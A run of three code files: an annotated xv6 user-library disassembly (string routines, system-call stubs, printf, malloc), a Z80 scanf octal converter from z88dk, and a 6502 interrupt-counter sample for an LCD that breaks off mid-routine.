2e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
2f0: 8d 04 80 lea (%eax,%eax,4),%eax
2f3: 83 c1 01 add $0x1,%ecx
2f6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
2fa: 0f be 11 movsbl (%ecx),%edx
2fd: 8d 5a d0 lea -0x30(%edx),%ebx
300: 80 fb 09 cmp $0x9,%bl
303: 76 eb jbe 2f0 <atoi+0x20>
return n;
}
305: 5b pop %ebx
306: 5d pop %ebp
307: c3 ret
308: 90 nop
309: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000310 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 56 push %esi
314: 53 push %ebx
315: 8b 5d 10 mov 0x10(%ebp),%ebx
318: 8b 45 08 mov 0x8(%ebp),%eax
31b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
31e: 85 db test %ebx,%ebx
320: 7e 14 jle 336 <memmove+0x26>
322: 31 d2 xor %edx,%edx
324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
328: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
32c: 88 0c 10 mov %cl,(%eax,%edx,1)
32f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
332: 39 d3 cmp %edx,%ebx
334: 75 f2 jne 328 <memmove+0x18>
return vdst;
}
336: 5b pop %ebx
337: 5e pop %esi
338: 5d pop %ebp
339: c3 ret
0000033a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
33a: b8 01 00 00 00 mov $0x1,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <exit>:
SYSCALL(exit)
342: b8 02 00 00 00 mov $0x2,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <wait>:
SYSCALL(wait)
34a: b8 03 00 00 00 mov $0x3,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <pipe>:
SYSCALL(pipe)
352: b8 04 00 00 00 mov $0x4,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <read>:
SYSCALL(read)
35a: b8 05 00 00 00 mov $0x5,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <write>:
SYSCALL(write)
362: b8 10 00 00 00 mov $0x10,%eax
367: cd 40 int $0x40
369: c3 ret
0000036a <close>:
SYSCALL(close)
36a: b8 15 00 00 00 mov $0x15,%eax
36f: cd 40 int $0x40
371: c3 ret
00000372 <kill>:
SYSCALL(kill)
372: b8 06 00 00 00 mov $0x6,%eax
377: cd 40 int $0x40
379: c3 ret
0000037a <exec>:
SYSCALL(exec)
37a: b8 07 00 00 00 mov $0x7,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <open>:
SYSCALL(open)
382: b8 0f 00 00 00 mov $0xf,%eax
387: cd 40 int $0x40
389: c3 ret
0000038a <mknod>:
SYSCALL(mknod)
38a: b8 11 00 00 00 mov $0x11,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <unlink>:
SYSCALL(unlink)
392: b8 12 00 00 00 mov $0x12,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <fstat>:
SYSCALL(fstat)
39a: b8 08 00 00 00 mov $0x8,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <link>:
SYSCALL(link)
3a2: b8 13 00 00 00 mov $0x13,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <mkdir>:
SYSCALL(mkdir)
3aa: b8 14 00 00 00 mov $0x14,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <chdir>:
SYSCALL(chdir)
3b2: b8 09 00 00 00 mov $0x9,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <dup>:
SYSCALL(dup)
3ba: b8 0a 00 00 00 mov $0xa,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <getpid>:
SYSCALL(getpid)
3c2: b8 0b 00 00 00 mov $0xb,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <sbrk>:
SYSCALL(sbrk)
3ca: b8 0c 00 00 00 mov $0xc,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <sleep>:
SYSCALL(sleep)
3d2: b8 0d 00 00 00 mov $0xd,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <uptime>:
SYSCALL(uptime)
3da: b8 0e 00 00 00 mov $0xe,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <hello>:
SYSCALL(hello)
3e2: b8 16 00 00 00 mov $0x16,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <hello_name>:
SYSCALL(hello_name)
3ea: b8 17 00 00 00 mov $0x17,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <get_num_proc>:
SYSCALL(get_num_proc)
3f2: b8 18 00 00 00 mov $0x18,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <get_max_pid>:
SYSCALL(get_max_pid)
3fa: b8 19 00 00 00 mov $0x19,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <get_proc_info>:
SYSCALL(get_proc_info)
402: b8 1a 00 00 00 mov $0x1a,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <set_prio>:
SYSCALL(set_prio)
40a: b8 1b 00 00 00 mov $0x1b,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <get_prio>:
SYSCALL(get_prio)
412: b8 1c 00 00 00 mov $0x1c,%eax
417: cd 40 int $0x40
419: c3 ret
41a: 66 90 xchg %ax,%ax
41c: 66 90 xchg %ax,%ax
41e: 66 90 xchg %ax,%ax
00000420 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
420: 55 push %ebp
421: 89 e5 mov %esp,%ebp
423: 57 push %edi
424: 56 push %esi
425: 53 push %ebx
426: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
429: 85 d2 test %edx,%edx
{
42b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
42e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
430: 79 76 jns 4a8 <printint+0x88>
432: f6 45 08 01 testb $0x1,0x8(%ebp)
436: 74 70 je 4a8 <printint+0x88>
x = -xx;
438: f7 d8 neg %eax
neg = 1;
43a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
441: 31 f6 xor %esi,%esi
443: 8d 5d d7 lea -0x29(%ebp),%ebx
446: eb 0a jmp 452 <printint+0x32>
448: 90 nop
449: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
450: 89 fe mov %edi,%esi
452: 31 d2 xor %edx,%edx
454: 8d 7e 01 lea 0x1(%esi),%edi
457: f7 f1 div %ecx
459: 0f b6 92 70 08 00 00 movzbl 0x870(%edx),%edx
}while((x /= base) != 0);
460: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
462: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
465: 75 e9 jne 450 <printint+0x30>
if(neg)
467: 8b 45 c4 mov -0x3c(%ebp),%eax
46a: 85 c0 test %eax,%eax
46c: 74 08 je 476 <printint+0x56>
buf[i++] = '-';
46e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
473: 8d 7e 02 lea 0x2(%esi),%edi
476: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
47a: 8b 7d c0 mov -0x40(%ebp),%edi
47d: 8d 76 00 lea 0x0(%esi),%esi
480: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
483: 83 ec 04 sub $0x4,%esp
486: 83 ee 01 sub $0x1,%esi
489: 6a 01 push $0x1
48b: 53 push %ebx
48c: 57 push %edi
48d: 88 45 d7 mov %al,-0x29(%ebp)
490: e8 cd fe ff ff call 362 <write>
while(--i >= 0)
495: 83 c4 10 add $0x10,%esp
498: 39 de cmp %ebx,%esi
49a: 75 e4 jne 480 <printint+0x60>
putc(fd, buf[i]);
}
49c: 8d 65 f4 lea -0xc(%ebp),%esp
49f: 5b pop %ebx
4a0: 5e pop %esi
4a1: 5f pop %edi
4a2: 5d pop %ebp
4a3: c3 ret
4a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
4a8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
4af: eb 90 jmp 441 <printint+0x21>
4b1: eb 0d jmp 4c0 <printf>
4b3: 90 nop
4b4: 90 nop
4b5: 90 nop
4b6: 90 nop
4b7: 90 nop
4b8: 90 nop
4b9: 90 nop
4ba: 90 nop
4bb: 90 nop
4bc: 90 nop
4bd: 90 nop
4be: 90 nop
4bf: 90 nop
000004c0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
4c0: 55 push %ebp
4c1: 89 e5 mov %esp,%ebp
4c3: 57 push %edi
4c4: 56 push %esi
4c5: 53 push %ebx
4c6: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4c9: 8b 75 0c mov 0xc(%ebp),%esi
4cc: 0f b6 1e movzbl (%esi),%ebx
4cf: 84 db test %bl,%bl
4d1: 0f 84 b3 00 00 00 je 58a <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
4d7: 8d 45 10 lea 0x10(%ebp),%eax
4da: 83 c6 01 add $0x1,%esi
state = 0;
4dd: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
4df: 89 45 d4 mov %eax,-0x2c(%ebp)
4e2: eb 2f jmp 513 <printf+0x53>
4e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
4e8: 83 f8 25 cmp $0x25,%eax
4eb: 0f 84 a7 00 00 00 je 598 <printf+0xd8>
write(fd, &c, 1);
4f1: 8d 45 e2 lea -0x1e(%ebp),%eax
4f4: 83 ec 04 sub $0x4,%esp
4f7: 88 5d e2 mov %bl,-0x1e(%ebp)
4fa: 6a 01 push $0x1
4fc: 50 push %eax
4fd: ff 75 08 pushl 0x8(%ebp)
500: e8 5d fe ff ff call 362 <write>
505: 83 c4 10 add $0x10,%esp
508: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
50b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
50f: 84 db test %bl,%bl
511: 74 77 je 58a <printf+0xca>
if(state == 0){
513: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
515: 0f be cb movsbl %bl,%ecx
518: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
51b: 74 cb je 4e8 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
51d: 83 ff 25 cmp $0x25,%edi
520: 75 e6 jne 508 <printf+0x48>
if(c == 'd'){
522: 83 f8 64 cmp $0x64,%eax
525: 0f 84 05 01 00 00 je 630 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
52b: 81 e1 f7 00 00 00 and $0xf7,%ecx
531: 83 f9 70 cmp $0x70,%ecx
534: 74 72 je 5a8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
536: 83 f8 73 cmp $0x73,%eax
539: 0f 84 99 00 00 00 je 5d8 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
53f: 83 f8 63 cmp $0x63,%eax
542: 0f 84 08 01 00 00 je 650 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
548: 83 f8 25 cmp $0x25,%eax
54b: 0f 84 ef 00 00 00 je 640 <printf+0x180>
write(fd, &c, 1);
551: 8d 45 e7 lea -0x19(%ebp),%eax
554: 83 ec 04 sub $0x4,%esp
557: c6 45 e7 25 movb $0x25,-0x19(%ebp)
55b: 6a 01 push $0x1
55d: 50 push %eax
55e: ff 75 08 pushl 0x8(%ebp)
561: e8 fc fd ff ff call 362 <write>
566: 83 c4 0c add $0xc,%esp
569: 8d 45 e6 lea -0x1a(%ebp),%eax
56c: 88 5d e6 mov %bl,-0x1a(%ebp)
56f: 6a 01 push $0x1
571: 50 push %eax
572: ff 75 08 pushl 0x8(%ebp)
575: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
578: 31 ff xor %edi,%edi
write(fd, &c, 1);
57a: e8 e3 fd ff ff call 362 <write>
for(i = 0; fmt[i]; i++){
57f: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
583: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
586: 84 db test %bl,%bl
588: 75 89 jne 513 <printf+0x53>
}
}
}
58a: 8d 65 f4 lea -0xc(%ebp),%esp
58d: 5b pop %ebx
58e: 5e pop %esi
58f: 5f pop %edi
590: 5d pop %ebp
591: c3 ret
592: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
598: bf 25 00 00 00 mov $0x25,%edi
59d: e9 66 ff ff ff jmp 508 <printf+0x48>
5a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
5a8: 83 ec 0c sub $0xc,%esp
5ab: b9 10 00 00 00 mov $0x10,%ecx
5b0: 6a 00 push $0x0
5b2: 8b 7d d4 mov -0x2c(%ebp),%edi
5b5: 8b 45 08 mov 0x8(%ebp),%eax
5b8: 8b 17 mov (%edi),%edx
5ba: e8 61 fe ff ff call 420 <printint>
ap++;
5bf: 89 f8 mov %edi,%eax
5c1: 83 c4 10 add $0x10,%esp
state = 0;
5c4: 31 ff xor %edi,%edi
ap++;
5c6: 83 c0 04 add $0x4,%eax
5c9: 89 45 d4 mov %eax,-0x2c(%ebp)
5cc: e9 37 ff ff ff jmp 508 <printf+0x48>
5d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
5d8: 8b 45 d4 mov -0x2c(%ebp),%eax
5db: 8b 08 mov (%eax),%ecx
ap++;
5dd: 83 c0 04 add $0x4,%eax
5e0: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
5e3: 85 c9 test %ecx,%ecx
5e5: 0f 84 8e 00 00 00 je 679 <printf+0x1b9>
while(*s != 0){
5eb: 0f b6 01 movzbl (%ecx),%eax
state = 0;
5ee: 31 ff xor %edi,%edi
s = (char*)*ap;
5f0: 89 cb mov %ecx,%ebx
while(*s != 0){
5f2: 84 c0 test %al,%al
5f4: 0f 84 0e ff ff ff je 508 <printf+0x48>
5fa: 89 75 d0 mov %esi,-0x30(%ebp)
5fd: 89 de mov %ebx,%esi
5ff: 8b 5d 08 mov 0x8(%ebp),%ebx
602: 8d 7d e3 lea -0x1d(%ebp),%edi
605: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
608: 83 ec 04 sub $0x4,%esp
s++;
60b: 83 c6 01 add $0x1,%esi
60e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
611: 6a 01 push $0x1
613: 57 push %edi
614: 53 push %ebx
615: e8 48 fd ff ff call 362 <write>
while(*s != 0){
61a: 0f b6 06 movzbl (%esi),%eax
61d: 83 c4 10 add $0x10,%esp
620: 84 c0 test %al,%al
622: 75 e4 jne 608 <printf+0x148>
624: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
627: 31 ff xor %edi,%edi
629: e9 da fe ff ff jmp 508 <printf+0x48>
62e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
630: 83 ec 0c sub $0xc,%esp
633: b9 0a 00 00 00 mov $0xa,%ecx
638: 6a 01 push $0x1
63a: e9 73 ff ff ff jmp 5b2 <printf+0xf2>
63f: 90 nop
write(fd, &c, 1);
640: 83 ec 04 sub $0x4,%esp
643: 88 5d e5 mov %bl,-0x1b(%ebp)
646: 8d 45 e5 lea -0x1b(%ebp),%eax
649: 6a 01 push $0x1
64b: e9 21 ff ff ff jmp 571 <printf+0xb1>
putc(fd, *ap);
650: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
653: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
656: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
658: 6a 01 push $0x1
ap++;
65a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
65d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
660: 8d 45 e4 lea -0x1c(%ebp),%eax
663: 50 push %eax
664: ff 75 08 pushl 0x8(%ebp)
667: e8 f6 fc ff ff call 362 <write>
ap++;
66c: 89 7d d4 mov %edi,-0x2c(%ebp)
66f: 83 c4 10 add $0x10,%esp
state = 0;
672: 31 ff xor %edi,%edi
674: e9 8f fe ff ff jmp 508 <printf+0x48>
s = "(null)";
679: bb 68 08 00 00 mov $0x868,%ebx
while(*s != 0){
67e: b8 28 00 00 00 mov $0x28,%eax
683: e9 72 ff ff ff jmp 5fa <printf+0x13a>
688: 66 90 xchg %ax,%ax
68a: 66 90 xchg %ax,%ax
68c: 66 90 xchg %ax,%ax
68e: 66 90 xchg %ax,%ax
00000690 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
690: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
691: a1 20 0b 00 00 mov 0xb20,%eax
{
696: 89 e5 mov %esp,%ebp
698: 57 push %edi
699: 56 push %esi
69a: 53 push %ebx
69b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
69e: 8d 4b f8 lea -0x8(%ebx),%ecx
6a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6a8: 39 c8 cmp %ecx,%eax
6aa: 8b 10 mov (%eax),%edx
6ac: 73 32 jae 6e0 <free+0x50>
6ae: 39 d1 cmp %edx,%ecx
6b0: 72 04 jb 6b6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6b2: 39 d0 cmp %edx,%eax
6b4: 72 32 jb 6e8 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
6b6: 8b 73 fc mov -0x4(%ebx),%esi
6b9: 8d 3c f1 lea (%ecx,%esi,8),%edi
6bc: 39 fa cmp %edi,%edx
6be: 74 30 je 6f0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
6c0: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6c3: 8b 50 04 mov 0x4(%eax),%edx
6c6: 8d 34 d0 lea (%eax,%edx,8),%esi
6c9: 39 f1 cmp %esi,%ecx
6cb: 74 3a je 707 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6cd: 89 08 mov %ecx,(%eax)
freep = p;
6cf: a3 20 0b 00 00 mov %eax,0xb20
}
6d4: 5b pop %ebx
6d5: 5e pop %esi
6d6: 5f pop %edi
6d7: 5d pop %ebp
6d8: c3 ret
6d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6e0: 39 d0 cmp %edx,%eax
6e2: 72 04 jb 6e8 <free+0x58>
6e4: 39 d1 cmp %edx,%ecx
6e6: 72 ce jb 6b6 <free+0x26>
{
6e8: 89 d0 mov %edx,%eax
6ea: eb bc jmp 6a8 <free+0x18>
6ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
6f0: 03 72 04 add 0x4(%edx),%esi
6f3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6f6: 8b 10 mov (%eax),%edx
6f8: 8b 12 mov (%edx),%edx
6fa: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6fd: 8b 50 04 mov 0x4(%eax),%edx
700: 8d 34 d0 lea (%eax,%edx,8),%esi
703: 39 f1 cmp %esi,%ecx
705: 75 c6 jne 6cd <free+0x3d>
p->s.size += bp->s.size;
707: 03 53 fc add -0x4(%ebx),%edx
freep = p;
70a: a3 20 0b 00 00 mov %eax,0xb20
p->s.size += bp->s.size;
70f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
712: 8b 53 f8 mov -0x8(%ebx),%edx
715: 89 10 mov %edx,(%eax)
}
717: 5b pop %ebx
718: 5e pop %esi
719: 5f pop %edi
71a: 5d pop %ebp
71b: c3 ret
71c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000720 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
720: 55 push %ebp
721: 89 e5 mov %esp,%ebp
723: 57 push %edi
724: 56 push %esi
725: 53 push %ebx
726: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
729: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
72c: 8b 15 20 0b 00 00 mov 0xb20,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
732: 8d 78 07 lea 0x7(%eax),%edi
735: c1 ef 03 shr $0x3,%edi
738: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
73b: 85 d2 test %edx,%edx
73d: 0f 84 9d 00 00 00 je 7e0 <malloc+0xc0>
743: 8b 02 mov (%edx),%eax
745: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
748: 39 cf cmp %ecx,%edi
74a: 76 6c jbe 7b8 <malloc+0x98>
74c: 81 ff 00 10 00 00 cmp $0x1000,%edi
752: bb 00 10 00 00 mov $0x1000,%ebx
757: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
75a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
761: eb 0e jmp 771 <malloc+0x51>
763: 90 nop
764: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
768: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
76a: 8b 48 04 mov 0x4(%eax),%ecx
76d: 39 f9 cmp %edi,%ecx
76f: 73 47 jae 7b8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
771: 39 05 20 0b 00 00 cmp %eax,0xb20
777: 89 c2 mov %eax,%edx
779: 75 ed jne 768 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
77b: 83 ec 0c sub $0xc,%esp
77e: 56 push %esi
77f: e8 46 fc ff ff call 3ca <sbrk>
if(p == (char*)-1)
784: 83 c4 10 add $0x10,%esp
787: 83 f8 ff cmp $0xffffffff,%eax
78a: 74 1c je 7a8 <malloc+0x88>
hp->s.size = nu;
78c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
78f: 83 ec 0c sub $0xc,%esp
792: 83 c0 08 add $0x8,%eax
795: 50 push %eax
796: e8 f5 fe ff ff call 690 <free>
return freep;
79b: 8b 15 20 0b 00 00 mov 0xb20,%edx
if((p = morecore(nunits)) == 0)
7a1: 83 c4 10 add $0x10,%esp
7a4: 85 d2 test %edx,%edx
7a6: 75 c0 jne 768 <malloc+0x48>
return 0;
}
}
7a8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
7ab: 31 c0 xor %eax,%eax
}
7ad: 5b pop %ebx
7ae: 5e pop %esi
7af: 5f pop %edi
7b0: 5d pop %ebp
7b1: c3 ret
7b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
7b8: 39 cf cmp %ecx,%edi
7ba: 74 54 je 810 <malloc+0xf0>
p->s.size -= nunits;
7bc: 29 f9 sub %edi,%ecx
7be: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
7c1: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
7c4: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
7c7: 89 15 20 0b 00 00 mov %edx,0xb20
}
7cd: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
7d0: 83 c0 08 add $0x8,%eax
}
7d3: 5b pop %ebx
7d4: 5e pop %esi
7d5: 5f pop %edi
7d6: 5d pop %ebp
7d7: c3 ret
7d8: 90 nop
7d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
7e0: c7 05 20 0b 00 00 24 movl $0xb24,0xb20
7e7: 0b 00 00
7ea: c7 05 24 0b 00 00 24 movl $0xb24,0xb24
7f1: 0b 00 00
base.s.size = 0;
7f4: b8 24 0b 00 00 mov $0xb24,%eax
7f9: c7 05 28 0b 00 00 00 movl $0x0,0xb28
800: 00 00 00
803: e9 44 ff ff ff jmp 74c <malloc+0x2c>
808: 90 nop
809: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
810: 8b 08 mov (%eax),%ecx
812: 89 0a mov %ecx,(%edx)
814: eb b1 jmp 7c7 <malloc+0xa7>
|
libsrc/_DEVELOPMENT/stdio/z80/input_helpers/__stdio_scanf_lo.asm | meesokim/z88dk | 0 | 100156 | <gh_stars>0
SECTION code_stdio
PUBLIC __stdio_scanf_lo
EXTERN __stdio_scanf_sm_octal, __stdio_scanf_number_head
EXTERN l_inc_sp, asm_strtoul, __stdio_scanf_number_tail_long
__stdio_scanf_lo:
; %lo converter called from vfscanf()
;
; enter : ix = FILE *
; de = void *buffer
; bc = field width (0 means default)
; hl = unsigned long *p
;
; exit : carry set if error
;
; uses : all except ix
; EAT WHITESPACE AND READ NUMBER INTO BUFFER
push hl ; save int *p
push de ; save void *buffer
ld a,14 ; fourteen octal digits + prefix needed to reach overflow
ld hl,__stdio_scanf_sm_octal ; octal number state machine
call __stdio_scanf_number_head
jp c, l_inc_sp - 4 ; if stream error, pop twice and exit
; ASC-II OCTAL TO 32-BIT INTEGER
pop hl ; hl = void *buffer
ld bc,8 ; base 8 conversion
ld e,b
ld d,b ; de = 0 = char **endp
push ix
call asm_strtoul ; dehl = long result
pop ix
pop bc ; bc = long *p
; WRITE RESULT TO UNSIGNED LONG *P
jp __stdio_scanf_number_tail_long
|
src/samples/basic-interrupts.asm | bberak/6502-flappy-bird | 0 | 164824 | !to "build/basic-interrupts.bin"
;;;;;;;;;;;;;;;;
;;;; Offset ;;;;
;;;;;;;;;;;;;;;;
*=$8000
;;;;;;;;;;;;;;
;;;; Data ;;;;
;;;;;;;;;;;;;;
year_1:
!word 1955
year_2
!word 1956
year_3
!word 1982
;;;;;;;;;;;;;;;;;;;
;;;; Variables ;;;;
;;;;;;;;;;;;;;;;;;;
PORTB = $6000
PORTA = $6001
DDRB = $6002
DDRA = $6003
E = %10000000
RW = %01000000
RS = %00100000
counter = $0200
number = counter + 2
mod_10 = number + 2
string = mod_10 + 2
mem_cmp = string + 6
mem_start = mem_cmp + 1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; Instructions (main) ;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main:
; Set stack pointer to address 01ff
ldx #$ff
txs
jsr lcd_init
cli ; Enable interrupts
; Set counter to zero
lda #0
sta counter
sta counter + 1
jsr idle
nmi:
irq:
; Increment counter
inc counter
bne irq_print
inc counter + 1
irq_print:
; Move counter into number
lda counter
sta number
lda counter + 1
sta number + 1
; Convert number to a string then print
jsr to_string
jsr print_string
lda #" "
jsr print
rti
;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; Memory Utilities ;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;
fill_memory_from_x_to_y:
sta mem_start,x
stx mem_cmp
cpy mem_cmp
beq fill_memory_from_x_to_y_complete
inx
jmp fill_memory_from_x_to_y
fill_memory_from_x_to_y_complete:
rts
;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; Print Utilities ;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;
print:
jsr lcd_wait
sta PORTB
lda #(RS | E) ; Toggle RS and E bits to write data
sta PORTA
lda #0
sta PORTA
jsr delay
rts
print_memory_from_x_to_y:
pha
print_memory_from_x_to_y_start:
lda mem_start,x
jsr print
stx mem_cmp
cpy mem_cmp
beq print_memory_from_x_to_y_complete
inx
jmp print_memory_from_x_to_y_start
print_memory_from_x_to_y_complete:
pla
rts
print_ascii_table_forever:
txa
jsr print
inx
jmp print_ascii_table_forever
print_random_chars_forever:
lda $00,x
jsr print
inx
jmp print_random_chars_forever
print_string:
pha
phx
ldx #0
print_string_loop:
lda string,x
beq print_string_break
jsr print
inx
jmp print_string_loop
print_string_break:
plx
pla
rts
;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; String Utilities ;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;
; Add the character in the A register to the beginning
; of the null-terminated variable `string`
push_char:
ldy #0 ; Set character index to zero
push_char_loop:
pha ; Push new character onto the stack
lda string,y ; Get character at index and push it into X register
